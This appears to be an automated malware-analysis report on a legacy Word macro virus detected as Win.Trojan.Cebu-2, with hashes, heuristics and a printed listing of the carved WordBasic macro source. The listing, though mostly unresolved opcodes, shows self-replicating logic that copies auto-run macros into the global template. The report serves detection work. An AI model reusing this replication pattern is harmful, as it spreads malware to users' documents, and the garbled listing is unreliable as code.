Win.Trojan.Cebu-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 fa10ef81881ed198…

MALICIOUS

Office (OLE)

8.0 KB First seen: 2012-06-14
MD5: ca174a6655fe0386a496b9f80e00d2c9 SHA-1: 524947dd1bbb7143f50a1724eee9de6d765036e2 SHA-256: fa10ef81881ed198f6d78ec890b88c59db36b4745ad57eb9ba38ad3f9d43f82f
102 Risk Score

Malware Insights

Win.Trojan.Cebu-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits legacy WordBasic macro virus markers and is explicitly identified as a 'RSN MACRO VIRUS Goat file' in its document body. ClamAV detection confirms it as Win.Trojan.Cebu-2. The presence of these markers and the explicit naming strongly suggest a malicious macro designed for propagation or payload delivery.

Heuristics 3

  • ClamAV: Win.Trojan.Cebu-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cebu-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2181 bytes
SHA-256: d8639436c4c82a3a6a4406540e2ae47a6934f071ac86c6290b47fd77545f54ea
Preview script
First 1,000 lines of the extracted script
= + , , , =
29551       @cmd6172
    @cmd7020      
    24943
=
main
@cmd803a 0
@cmdc002 2
@cmd0070 = "M" , = 0 , = 0
@cmd81dc = 0
@cmd8116
@cmd8064 @cmd8015 = "s"
@cmd80f5 @cmd80f7 52
@cmd80b3 @cmd8007 @cmd80f4 @cmd80f7 = ":" = @cmd8007 @cmd80f5 @cmd80f7 = 7 , "MSrun"
@cmd80f5 @cmd80f7 52
@cmd80b3 @cmd8007 @cmd80f4 @cmd80f7 = 1 = ":" = "04" , "MSrun"
MAIN
, -
@cmd80f5 @cmd80f7 54
@cmd80b3 @cmd8007 @cmd80f4 @cmd80f7 = ":" = @cmd8007 @cmd80f5 @cmd80f7 = 5 , "MSrun"
@cmd80f5 @cmd80f7 52
@cmd80b3 @cmd8007 @cmd80f4 @cmd80f7 = 1 = ":" = "04" , "MSrun"
MAIN
a$ = @cmd8025
b$ = a$ = ":AutoOpen"
@cmd818e "AutoOpen" =
@cmd802b b$ , "4AUTOCLOSE " = a$
@cmd80c2 "Global:AutoOpen" , b$
@cmd802b b$ , "!4AUTOCLOSE " = a$
@cmd80c2 b$ , "Global:AutoOpen"
b$ = a$ = ":Autoclose"
@cmd818e "Autoclose" =
@cmd802b b$ , "1AUTOCLOSE " = a$
@cmd80c2 "Global:Autoclose" , b$
@cmd802b b$ , "!1AUTOCLOSE " = a$
@cmd80c2 b$ , "Global:Autoclose" , ExecuteOnly = 1
b$ = a$ = ":autoexec"
@cmd818e "autoexec" =
@cmd802b b$ , "2AUTOCLOSE " = a$
@cmd80c2 "Global:autoexec" , b$
@cmd802b b$ , "!2AUTOCLOSE " = a$
@cmd80c2 b$ , "Global:autoexec" , ExecuteOnly = 1
b$ = a$ = ":Msrun"
@cmd818e "Msrun" =
@cmd802b b$ , "3AUTOCLOSE " = a$
@cmd80c2 "Global:Msrun" , b$
@cmd802b b$ , "!3AUTOCLOSE " = a$
@cmd80c2 b$ , "Global:Msrun" , ExecuteOnly = 1
@cmd0054 = a$ , = 1
MAIN
a$ = @cmd8025
b$ = a$ = ":AutoOpen"
@cmd818e "AutoOpen" =
@cmd802b b$ , "4AUTOCLOSE " = a$
@cmd80c2 "Global:AutoOpen" , b$
@cmd802b b$ , "!4AUTOCLOSE " = a$
    ,   25199 16698
@cmd80c2 "Global:AutoOpen" , b$
b$ = a$ = ":Autoclose"
@cmd818e "Autoclose" =
@cmd802b b$ , "1AUTOCLOSE " = a$
@cmd80c2 "Global:Autoclose" , b$
@cmd802b b$ , "!1AUTOCLOSE " = a$
  ,   25199 16698 29551 ,   8313  
@cmd80c2 "Global:Autoclose" , b$
b$ = a$ = ":autoexec"
@cmd818e "autoexec" =
@cmd802b b$ , "2AUTOCLOSE " = a$
@cmd80c2 "Global:autoexec" , b$
@cmd802b b$ , "!2AUTOCLOSE " = a$
  ,   25199 24890 ,   8313  
@cmd80c2 "Global:autoexec" , b$
b$ = a$ = ":Msrun"
@cmd818e "Msrun" =
@cmd802b b$ , "3AUTOCLOSE " = a$
@cmd80c2 "Global:Msrun" , b$
@cmd802b b$ , "!3AUTOCLOSE " = a$
  ,   25199 19770 ,   8313  
@cmd80c2 "Global:Msrun" , b$
@cmd0054 = a$ , = 1

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